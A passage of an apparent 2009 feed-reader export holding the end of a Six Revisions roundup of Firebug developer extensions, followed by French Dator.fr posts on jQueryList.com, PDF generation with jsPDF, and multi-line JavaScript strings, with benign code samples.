&lt;li&gt;&lt;a href="https://addons.mozilla.org/en-US/firefox/downloads/latest/10273"&gt;Install  CodeBurner&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4. &lt;a href="http://firerainbow.binaryage.com/"&gt;FireRainbow&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href="http://firerainbow.binaryage.com/"&gt;&lt;img src="http://images.sixrevisions.com/2009/06/23-04_firerainbow.png" width="550" height="270" alt="FireRainbow"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;FireRainbow&lt;/em&gt; is a  simple Firebug extension that fills in a sorely desired function: code syntax  highlighting. FireRainbow colorizes JavaScript, CSS, and HTML for improved  readability of code being reviewed or inspected in Firebug. There are currently  over 20 different &lt;a href="http://github.com/darwin/firerainbow/tree/master/themes"&gt;FireRainbow  themes&lt;/a&gt; that you can choose from, giving you some options for customization.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://addons.mozilla.org/en-US/firefox/downloads/file/53758/firerainbow-1.0-fx.xpi?confirmed"&gt;Install  FireRainbow&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;5. &lt;a href="http://robertnyman.com/inline-code-finder/"&gt;Inline  Code Finder&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href="http://robertnyman.com/inline-code-finder/"&gt;&lt;img src="http://images.sixrevisions.com/2009/06/23-05_inline_code.png" width="550" height="270" alt="Inline Code Finder"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Inline Code Finder&lt;/em&gt; is great for hunting down inline JavaScript and CSS and is perfect for  developers refactoring existing markup to separate structure (HTML) from style  (CSS) and function (JavaScript). The usage of the tool is simple: it searches  the entire web page for inline code and provides the developer with contextual  information about the inline code it finds. The &lt;a href="http://robertnyman.com/2009/02/05/new-version-of-inline-code-finder-with-event-filtering-and-a-download-record/"&gt;newest  version&lt;/a&gt; gives you the ability to filter certain groups of inline code.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://addons.mozilla.org/en-US/firefox/downloads/latest/9641/addon-9641-latest.xpi"&gt;Install  Inline Code Finder&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;6. &lt;a href="http://www.softwareishard.com/blog/firecookie/"&gt;Firecookie&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href="http://www.softwareishard.com/blog/firecookie/"&gt;&lt;img src="http://images.sixrevisions.com/2009/06/23-06_firecookie.png" width="550" height="270" alt="Firecookie"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Developing web applications that utilize cookies can be  time-consuming. &lt;em&gt;Firecookie&lt;/em&gt;, a Firebug  extension, gives you a host of options and features strictly for working with  cookies. The extension allows you to view, inspect, export, and manage cookies,  log cookie events (creation, deletion, etc.), and much more. The &lt;a href="http://www.softwareishard.com/blog/firecookie/firecookie-05-beta/"&gt;latest  version&lt;/a&gt; of Firecookie adds several improvements such as the ability to list  only cookies sourcing from a subdomain.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.softwareishard.com/firecookie/archive/firecookie-0.8.xpi"&gt;Install  Firecookie&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;7. &lt;a href="http://www.zachleat.com/web/2007/04/18/javascript-code-coverage-tool-for-firebug/"&gt;FirebugCodeCoverage&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href="http://www.zachleat.com/web/2007/04/18/javascript-code-coverage-tool-for-firebug/"&gt;&lt;img src="http://images.sixrevisions.com/2009/06/23-07_codecoverage.png" width="550" height="270" alt="FirebugCodeCoverage"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;FirebugCodeCoverage&lt;/em&gt; is a benchmarking Firebug extension inspired by &lt;a href="http://seleniumhq.org/projects/ide/"&gt;Selenium IDE&lt;/a&gt; for determining the  percentage of your code being executed for time duration, known as &lt;a href="http://en.wikipedia.org/wiki/Code_coverage"&gt;code coverage&lt;/a&gt;. This is  typically measured during automated testing to see how well the test cases are  able to thoroughly test your code (with higher percentages being your goal).&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.zachleat.com/Projects/firebugCodeCoverage/FirebugCodeCoverage-0.1.xpi"&gt;Install  FirebugCodeCoverage&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;8. &lt;a href="http://sensational-seo.com/"&gt;SenSEO&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href="http://sensational-seo.com/"&gt;&lt;img src="http://images.sixrevisions.com/2009/06/23-08_senseo.png" width="550" height="270" alt="SenSEO"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;SenSEO&lt;/em&gt; is a  Firebug extension that analyzes a web page and indicates how well it is doing  for single-page whitehat search engine optimization. The extension checks for  correct use of meta tags, presence of a title, headings, and other relevant  criterions for optimal search engine optimization.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://sensational-seo.com/download/senseo.xpi"&gt;Install SenSEO&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;9. &lt;a href="http://developer.yahoo.com/yslow/"&gt;Yahoo! YSlow&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href="http://developer.yahoo.com/yslow/"&gt;&lt;img src="http://images.sixrevisions.com/2009/06/23-09_yslow.png" width="550" height="270" alt="Yahoo! YSlow"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;YSlow&lt;/em&gt; evaluates a  web page for performance and suggests potential places for improvements. YSlow  is based on YDN’s &lt;a href="http://developer.yahoo.com/performance/rules.html"&gt;Best  Practices for Speeding Up Your Web Site&lt;/a&gt; and gives you letter grades on one  of the three predefined (or user-defined) rule sets. It has a handful of useful  features such as displaying information and statistics about web page  components, and integration of optimization tools such as &lt;a href="http://jslint.com/"&gt;JSLint&lt;/a&gt; and &lt;a href="http://developer.yahoo.com/yslow/smushit/index.html"&gt;Smush.it&lt;/a&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://addons.mozilla.org/en-US/firefox/downloads/latest/5369/addon-5369-latest.xpi"&gt;Install  YSlow&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;10. &lt;a href="http://robertnyman.com/firefinder/"&gt;Firefinder&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href="http://robertnyman.com/firefinder/"&gt;&lt;img src="http://images.sixrevisions.com/2009/06/23-10_firefinder.jpg" width="550" height="270" alt="Firefinder"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Firefinder&lt;/em&gt; is for  quickly finding web page elements that match CSS or Xpath selectors that you  input as your search criteria. Firefinder is great for testing which page  elements are affected by a CSS style rule as well as for highlighting and finding  elements that match your searches.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://addons.mozilla.org/en-US/firefox/downloads/latest/11905/addon-11905-latest.xpi"&gt;Install  Firefinder&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Related content&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://sixrevisions.com/web-development/five-ways-to-speed-up-page-response-times/"&gt;Five  Ways to Speed Up Page Response Times&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://sixrevisions.com/tools/firefox_web_developer_extension_toolbar/"&gt;Awesome  Things That Firefox’s Web Developer Extension Can Do&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://sixrevisions.com/css/css_code_optimization_formatting_validation/"&gt;Web-Based  Tools for Optimizing, Formatting and Checking CSS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Related categories&lt;/em&gt;: &lt;a href="http://sixrevisions.com/category/tools/"&gt;Tools&lt;/a&gt;, &lt;a href="http://sixrevisions.com/category/web-development/"&gt;Web Development&lt;/a&gt;,  and &lt;a href="http://sixrevisions.com/category/javascript/"&gt;JavaScript&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;img src="http://feeds.feedburner.com/~r/SixRevisions/~4/dCMBEwZog_4" height="1" width="1"&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/JwFjXmcvxTBdvZJNsLXw8Y6A3Hs/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/JwFjXmcvxTBdvZJNsLXw8Y6A3Hs/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/JwFjXmcvxTBdvZJNsLXw8Y6A3Hs/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/JwFjXmcvxTBdvZJNsLXw8Y6A3Hs/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/neolao-reader-javascript/~4/4T6bx9CVsSY" height="1" width="1"/&gt;</content><author><name>Jacob Gube</name></author><source gr:stream-id="feed/http://feeds2.feedburner.com/SixRevisions"><id>tag:google.com,2005:reader/feed/http://feeds2.feedburner.com/SixRevisions</id><title type="html">Six Revisions</title><link rel="alternate" href="http://sixrevisions.com" type="text/html" /></source><feedburner:origLink>http://feedproxy.google.com/~r/SixRevisions/~3/dCMBEwZog_4/</feedburner:origLink></entry><entry gr:crawl-timestamp-msec="1244095898326"><id gr:original-id="http://www.dator.fr/?p=1155">tag:google.com,2005:reader/item/6e7305752671c788</id><category term="News" /><category term="Ajax" /><category term="CSS" /><category term="Formulaires" /><category term="Javascript" /><category term="jQuery" /><category term="Plugins" /><category term="Upload" /><title type="html">jQueryList.com, la ressource ultime de plugins jQuery sur une seule page</title><published>2009-06-03T14:35:41Z</published><updated>2009-06-03T14:35:41Z</updated><link rel="alternate" href="http://feedproxy.google.com/~r/neolao-reader-javascript/~3/QC9V-cp3Wuk/" type="text/html" /><content xml:base="http://www.dator.fr/" type="html">&lt;p&gt;&lt;img title="jquery-list" src="http://www.dator.fr/wp-content/uploads/2009/06/jquery-list.jpg" alt="jquery-list" width="541" height="144"&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://jquerylist.com"&gt;jQueryList.com&lt;/a&gt; est un nouveau site qui liste tous les plugins jQuery ainsi que les exemples pour les plugins sur une seule et même page !&lt;/p&gt;
&lt;p&gt;Elle trie aussi les plugins en différentes catégories telles que :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Les plugins AJAX&lt;/li&gt;
&lt;li&gt;Les plugins CSS&lt;/li&gt;
&lt;li&gt;Les plugins pour les formulaires&lt;/li&gt;
&lt;li&gt;Les plugins pour l’upload de fichiers&lt;/li&gt;
&lt;li&gt;…&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Un site vraiment impressionnant à mettre dans votre bookmarks !&lt;/p&gt;
&lt;div&gt;&lt;h2&gt;Related Posts:&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.dator.fr/8-plugins-jquery-pour-utiliser-les-apis-de-google/" rel="bookmark"&gt;8 plugins jQuery pour utiliser les APIs de Google&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.dator.fr/jquery-plugin-detector-un-bookmarklet-pour-detecter-les-plugin-jquery-present-sur-un-site/" rel="bookmark"&gt;jQuery plugin detector, un bookmarklet pour détecter les plugin jQuery présent sur un site&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.dator.fr/afficher-une-liste-deroulante-en-javascript-et-jquery-avec-jquery-spy/" rel="bookmark"&gt;Afficher une liste déroulante en Javascript et jQuery avec jQuery Spy&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.dator.fr/valider-ses-formulaires-avec-javascript/" rel="bookmark"&gt;Valider ses formulaires avec Javascript&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.dator.fr/wordpress-27-le-10-decembre-comment-se-preparer/" rel="bookmark"&gt;Wordpress 2.7 le 10 décembre, comment se préparer ?&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;hr&gt;
&lt;p&gt;&lt;small&gt;Article original écrit par Dator et publié sur &lt;a href="http://www.dator.fr"&gt;Dator.fr&lt;/a&gt;, le 2009. | &lt;a href="http://www.dator.fr/jquerylistcom-la-ressource-ultime-de-plugin-jquery-sur-une-seule-page/"&gt;Lien direct vers cet article&lt;/a&gt; | © Dator.fr - 2008 &lt;/small&gt;
&lt;br&gt;
Mot clés: &lt;a href="http://www.dator.fr/tag/ajax/" rel="tag"&gt;Ajax&lt;/a&gt;, &lt;a href="http://www.dator.fr/tag/css/" rel="tag"&gt;CSS&lt;/a&gt;, &lt;a href="http://www.dator.fr/tag/formulaires/" rel="tag"&gt;Formulaires&lt;/a&gt;, &lt;a href="http://www.dator.fr/tag/javascript/" rel="tag"&gt;Javascript&lt;/a&gt;, &lt;a href="http://www.dator.fr/tag/jquery/" rel="tag"&gt;jQuery&lt;/a&gt;, &lt;a href="http://www.dator.fr/tag/plugins/" rel="tag"&gt;Plugins&lt;/a&gt;, &lt;a href="http://www.dator.fr/tag/upload/" rel="tag"&gt;Upload&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;&lt;p&gt;&lt;iframe src="http://feedads.g.doubleclick.net/~ah/f/k1khgdsmreh5eb09pcos1av7rs/468/60#http%3A%2F%2Fwww.dator.fr%2Fjquerylistcom-la-ressource-ultime-de-plugin-jquery-sur-une-seule-page%2F" width="100%" height="60" frameborder="0" scrolling="no" marginwidth="0" marginheight="0"&gt;&lt;/iframe&gt;&lt;/p&gt;&lt;div&gt;
&lt;a href="http://feeds2.feedburner.com/~ff/DatorBlog?a=QC9V-cp3Wuk:ZfDQ3pq6LKQ:yIl2AUoC8zA"&gt;&lt;img src="http://feeds2.feedburner.com/~ff/DatorBlog?d=yIl2AUoC8zA" border="0"&gt;&lt;/a&gt; &lt;a href="http://feeds2.feedburner.com/~ff/DatorBlog?a=QC9V-cp3Wuk:ZfDQ3pq6LKQ:RW9bx_9rXgo"&gt;&lt;img src="http://feeds2.feedburner.com/~ff/DatorBlog?d=RW9bx_9rXgo" border="0"&gt;&lt;/a&gt; &lt;a href="http://feeds2.feedburner.com/~ff/DatorBlog?a=QC9V-cp3Wuk:ZfDQ3pq6LKQ:x5wxd0RC_-I"&gt;&lt;img src="http://feeds2.feedburner.com/~ff/DatorBlog?d=x5wxd0RC_-I" border="0"&gt;&lt;/a&gt; &lt;a href="http://feeds2.feedburner.com/~ff/DatorBlog?a=QC9V-cp3Wuk:ZfDQ3pq6LKQ:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds2.feedburner.com/~ff/DatorBlog?i=QC9V-cp3Wuk:ZfDQ3pq6LKQ:F7zBnMyn0Lo" border="0"&gt;&lt;/a&gt; &lt;a href="http://feeds2.feedburner.com/~ff/DatorBlog?a=QC9V-cp3Wuk:ZfDQ3pq6LKQ:7Q72WNTAKBA"&gt;&lt;img src="http://feeds2.feedburner.com/~ff/DatorBlog?d=7Q72WNTAKBA" border="0"&gt;&lt;/a&gt; &lt;a href="http://feeds2.feedburner.com/~ff/DatorBlog?a=QC9V-cp3Wuk:ZfDQ3pq6LKQ:qj6IDK7rITs"&gt;&lt;img src="http://feeds2.feedburner.com/~ff/DatorBlog?d=qj6IDK7rITs" border="0"&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds2.feedburner.com/~r/DatorBlog/~4/QC9V-cp3Wuk" height="1" width="1"&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/RB4UBihKH1Hz2FuxjTS1FyB7GS8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/RB4UBihKH1Hz2FuxjTS1FyB7GS8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/RB4UBihKH1Hz2FuxjTS1FyB7GS8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/RB4UBihKH1Hz2FuxjTS1FyB7GS8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/neolao-reader-javascript/~4/QC9V-cp3Wuk" height="1" width="1"/&gt;</content><author><name>Clément</name></author><source gr:stream-id="feed/http://feeds.feedburner.com/DatorBlog"><id>tag:google.com,2005:reader/feed/http://feeds.feedburner.com/DatorBlog</id><title type="html">Dator Blog</title><link rel="alternate" href="http://www.dator.fr" type="text/html" /></source><feedburner:origLink>http://www.dator.fr/jquerylistcom-la-ressource-ultime-de-plugin-jquery-sur-une-seule-page/</feedburner:origLink></entry><entry gr:crawl-timestamp-msec="1242406612328"><id gr:original-id="http://www.dator.fr/?p=1044">tag:google.com,2005:reader/item/3587bb5a6abda98c</id><category term="News" /><category term="Javascript" /><category term="PDF" /><title type="html">Générer des PDF avec Javascript avec jsPDF</title><published>2009-05-15T11:00:45Z</published><updated>2009-05-15T11:00:45Z</updated><link rel="alternate" href="http://feedproxy.google.com/~r/neolao-reader-javascript/~3/45my2noN41k/" type="text/html" /><content xml:base="http://www.dator.fr/" type="html">&lt;p&gt;&lt;img src="http://www.dator.fr/wp-content/uploads/2009/05/jspdf.jpg" alt="jspdf" title="jspdf" width="500" height="231"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;jsPDF&lt;/strong&gt; est une librairie &lt;strong&gt;javascript&lt;/strong&gt; qui permet la &lt;strong&gt;génération de fichier PDF &lt;/strong&gt;simplement et rapidement !&lt;br&gt;
Désormais vous pouvez générer vos fichier PDF simplement avec très peu de lignes de codes, par exemple :&lt;/p&gt;
&lt;pre name="code"&gt;
var name = prompt(&amp;#39;What is your name?&amp;#39;);
var multiplier = prompt(&amp;#39;Enter a number:&amp;#39;);
multiplier = parseInt(multiplier);

var doc = new jsPDF();
doc.setFontSize(22);
doc.text(20, 20, &amp;#39;Questions&amp;#39;);
doc.setFontSize(16);
doc.text(20, 30, &amp;#39;This belongs to: &amp;#39; + name);

for(var i = 1; i &amp;lt; = 12; i ++) {
	doc.text(20, 30 + (i * 10), i + &amp;#39; x &amp;#39; + multiplier + &amp;#39; = ___&amp;#39;);
}

doc.addPage();
doc.setFontSize(22);
doc.text(20, 20, &amp;#39;Answers&amp;#39;);
doc.setFontSize(16);

for(var i = 1; i &amp;lt;= 12; i ++) {
	doc.text(20, 30 + (i * 10), i + &amp;#39; x &amp;#39; + multiplier + &amp;#39; = &amp;#39; + (i * multiplier));
}
doc.output(&amp;#39;datauri&amp;#39;);
&lt;/pre&gt;
&lt;p&gt;Vous pouvez consulter des démonstrations &lt;a href="http://jspdf.googlecode.com/svn/trunk/examples/basic.htm"&gt;ici&lt;/a&gt; et télécharger la librairie &lt;a href="http://code.google.com/p/jspdf/"&gt;ici&lt;/a&gt;.
&lt;div&gt;&lt;h2&gt;Related Posts:&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.dator.fr/remplacer-les-alert-confirm-et-prompt-de-javascript-avec-jquery-alert-dialogs/" rel="bookmark"&gt;Remplacer les alert(), confirm() et prompt() de Javascript avec jQuery Alert Dialogs&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.dator.fr/ext-js-la-librairie-javascript/" rel="bookmark"&gt;Ext-JS, LA librairie Javascript&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.dator.fr/des-infobulles-avec-prototype/" rel="bookmark"&gt;Des infobulles avec prototype&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.dator.fr/une-application-air-pour-google-analytics/" rel="bookmark"&gt;Une application AIR pour Google Analytics&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.dator.fr/typefacejs-ajouter-des-polices-decritures-avec-javascript/" rel="bookmark"&gt;typeface.js, ajouter des polices d'écritures avec Javascript&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;hr&gt;
&lt;p&gt;&lt;small&gt;Article original écrit par Dator et publié sur &lt;a href="http://www.dator.fr"&gt;Dator.fr&lt;/a&gt;, le 2009. | &lt;a href="http://www.dator.fr/genere-des-pdf-avec-javascript-avec-jspdf/"&gt;Lien direct vers cet article&lt;/a&gt; | © Dator.fr - 2008 &lt;/small&gt;
&lt;br&gt;
Mot clés: &lt;a href="http://www.dator.fr/tag/javascript/" rel="tag"&gt;Javascript&lt;/a&gt;, &lt;a href="http://www.dator.fr/tag/pdf/" rel="tag"&gt;PDF&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;&lt;p&gt;&lt;iframe src="http://feedads.g.doubleclick.net/~ah/f/k1khgdsmreh5eb09pcos1av7rs/300/250?ca=1&amp;amp;fh=280#http%3A%2F%2Fwww.dator.fr%2Fgenere-des-pdf-avec-javascript-avec-jspdf%2F" width="100%" height="280" frameborder="0" scrolling="no" marginwidth="0" marginheight="0"&gt;&lt;/iframe&gt;&lt;/p&gt;&lt;div&gt;
&lt;a href="http://feeds2.feedburner.com/~ff/DatorBlog?a=45my2noN41k:MVA8jB1_F0U:yIl2AUoC8zA"&gt;&lt;img src="http://feeds2.feedburner.com/~ff/DatorBlog?d=yIl2AUoC8zA" border="0"&gt;&lt;/a&gt; &lt;a href="http://feeds2.feedburner.com/~ff/DatorBlog?a=45my2noN41k:MVA8jB1_F0U:RW9bx_9rXgo"&gt;&lt;img src="http://feeds2.feedburner.com/~ff/DatorBlog?d=RW9bx_9rXgo" border="0"&gt;&lt;/a&gt; &lt;a href="http://feeds2.feedburner.com/~ff/DatorBlog?a=45my2noN41k:MVA8jB1_F0U:x5wxd0RC_-I"&gt;&lt;img src="http://feeds2.feedburner.com/~ff/DatorBlog?d=x5wxd0RC_-I" border="0"&gt;&lt;/a&gt; &lt;a href="http://feeds2.feedburner.com/~ff/DatorBlog?a=45my2noN41k:MVA8jB1_F0U:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds2.feedburner.com/~ff/DatorBlog?i=45my2noN41k:MVA8jB1_F0U:F7zBnMyn0Lo" border="0"&gt;&lt;/a&gt; &lt;a href="http://feeds2.feedburner.com/~ff/DatorBlog?a=45my2noN41k:MVA8jB1_F0U:7Q72WNTAKBA"&gt;&lt;img src="http://feeds2.feedburner.com/~ff/DatorBlog?d=7Q72WNTAKBA" border="0"&gt;&lt;/a&gt; &lt;a href="http://feeds2.feedburner.com/~ff/DatorBlog?a=45my2noN41k:MVA8jB1_F0U:qj6IDK7rITs"&gt;&lt;img src="http://feeds2.feedburner.com/~ff/DatorBlog?d=qj6IDK7rITs" border="0"&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds2.feedburner.com/~r/DatorBlog/~4/45my2noN41k" height="1" width="1"&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/c9KQvhrQR_OkmKL3ITB0Hx9L3tM/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/c9KQvhrQR_OkmKL3ITB0Hx9L3tM/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/c9KQvhrQR_OkmKL3ITB0Hx9L3tM/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/c9KQvhrQR_OkmKL3ITB0Hx9L3tM/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/neolao-reader-javascript/~4/45my2noN41k" height="1" width="1"/&gt;</content><author><name>Clément</name></author><source gr:stream-id="feed/http://feeds.feedburner.com/DatorBlog"><id>tag:google.com,2005:reader/feed/http://feeds.feedburner.com/DatorBlog</id><title type="html">Dator Blog</title><link rel="alternate" href="http://www.dator.fr" type="text/html" /></source><feedburner:origLink>http://www.dator.fr/genere-des-pdf-avec-javascript-avec-jspdf/</feedburner:origLink></entry><entry gr:crawl-timestamp-msec="1241948791692"><id gr:original-id="http://www.dator.fr/?p=1078">tag:google.com,2005:reader/item/2252cadd8c2233e1</id><category term="Articles" /><category term="Javascript" /><title type="html">Le multi-lignes en Javascript</title><published>2009-05-10T07:00:39Z</published><updated>2009-05-10T07:00:39Z</updated><link rel="alternate" href="http://feedproxy.google.com/~r/neolao-reader-javascript/~3/lGJ2heIaj3k/" type="text/html" /><content xml:base="http://www.dator.fr/" type="html">&lt;p&gt;Il est souvent pratique de stocker du HTML ou du texte dans une variable javascript mais c’est parfois chose ardu car il faut concaténé tout le contenu au fur et a mesure que l’on fait un retour a la ligne … pas très pratique.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://snook.ca/archives/javascript/multi-line-javascript"&gt;Snook&lt;/a&gt; propose une alternative très intéressante que je ne connaissait pas ( et lui non plus d’ailleur ) comment faire du multi lignes en &lt;strong&gt;javascript&lt;/strong&gt;.&lt;/p&gt;
&lt;pre name="code"&gt;var stock = 'Commencer ici\
continuer ici \
et finir ici. ';&lt;/pre&gt;
&lt;p&gt;Une petite astuce qui m’a convaincu et qui va vous ravir !&lt;/p&gt;
&lt;div&gt;&lt;h2&gt;Related Posts:&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.dator.fr/realiser-un-tableau-dynamique-trie-et-pagine-avec-jquery/" rel="bookmark"&gt;Réaliser un tableau dynamique trié et paginé avec jQuery&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.dator.fr/php-et-les-requetes-ajax-avec-prototype/" rel="bookmark"&gt;PHP et les requêtes AJAX avec Prototype&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.dator.fr/creation-dune-classe-javascript-avec-prototype/" rel="bookmark"&gt;Création d'une classe javascript avec Prototype&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.dator.fr/jquery-file-upload-un-petit-plugin-pour-uploader-vos-fichier-avec-javascript/" rel="bookmark"&gt;jQuery File Upload, un petit plugin pour uploader vos fichier avec javascript&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.dator.fr/la-gestion-des-formulaires-avec-prototype/" rel="bookmark"&gt;La gestion des formulaires avec Prototype&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;hr&gt;
&lt;p&gt;&lt;small&gt;Article original écrit par Dator et publié sur &lt;a href="http://www.dator.fr"&gt;Dator.fr&lt;/a&gt;, le 2009. | &lt;a href="http://www.dator.fr/le-multi-lignes-en-javascript/"&gt;Lien direct vers cet article&lt;/a&gt; | © Dator.fr - 2008 &lt;/small&gt;
&lt;br&gt;
Mot clés: &lt;a href="http://www.dator.fr/tag/javascript/" rel="tag"&gt;Javascript&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;&lt;p&gt;&lt;iframe src="http://feedads.g.doubleclick.net/~ah/f/k1khgdsmreh5eb09pcos1av7rs/300/250?ca=1&amp;amp;fh=280#http%3A%2F%2Fwww.dator.fr%2Fle-multi-lignes-en-javascript%2F" width="100%" height="280" frameborder="0" scrolling="no" marginwidth="0" marginheight="0"&gt;&lt;/iframe&gt;&lt;/p&gt;&lt;div&gt;
&lt;a href="http://feeds2.feedburner.com/~ff/DatorBlog?a=lGJ2heIaj3k:HftATUR6z68:yIl2AUoC8zA"&gt;&lt;img src="http://feeds2.feedburner.com/~ff/DatorBlog?d=yIl2AUoC8zA" border="0"&gt;&lt;/a&gt; &lt;a href="http://feeds2.feedburner.com/~ff/DatorBlog?a=lGJ2heIaj3k:HftATUR6z68:RW9bx_9rXgo"&gt;&lt;img src="http://feeds2.feedburner.com/~ff/DatorBlog?d=RW9bx_9rXgo" border="0"&gt;&lt;/a&gt; &lt;a href="http://feeds2.feedburner.com/~ff/DatorBlog?a=lGJ2heIaj3k:HftATUR6z68:x5wxd0RC_-I"&gt;&lt;img src="http://feeds2.feedburner.com/~ff/DatorBlog?d=x5wxd0RC_-I" border="0"&gt;&lt;/a&gt; &lt;a href="http://feeds2.feedburner.com/~ff/DatorBlog?a=lGJ2heIaj3k:HftATUR6z68:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds2.feedburner.com/~ff/DatorBlog?i=lGJ2heIaj3k:HftATUR6z68:F7zBnMyn0Lo" border="0"&gt;&lt;/a&gt; &lt;a href="http://feeds2.feedburner.com/~ff/DatorBlog?a=lGJ2heIaj3k:HftATUR6z68:7Q72WNTAKBA"&gt;&lt;img src="http://feeds2.feedburner.com/~ff/DatorBlog?d=7Q72WNTAKBA" border="0"&gt;&lt;/a&gt; &lt;a href="http://feeds2.feedburner.com/~ff/DatorBlog?a=lGJ2heIaj3k:HftATUR6z68:qj6IDK7rITs"&gt;&lt;img src="http://feeds2.feedburner.com/~ff/DatorBlog?d=qj6IDK7rITs" border="0"&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds2.feedburner.com/~r/DatorBlog/~4/lGJ2heIaj3k" height="1" width="1"&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/hNHT60X65ILfliBq0O5w-Gq8lIU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/hNHT60X65ILfliBq0O5w-Gq8lIU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
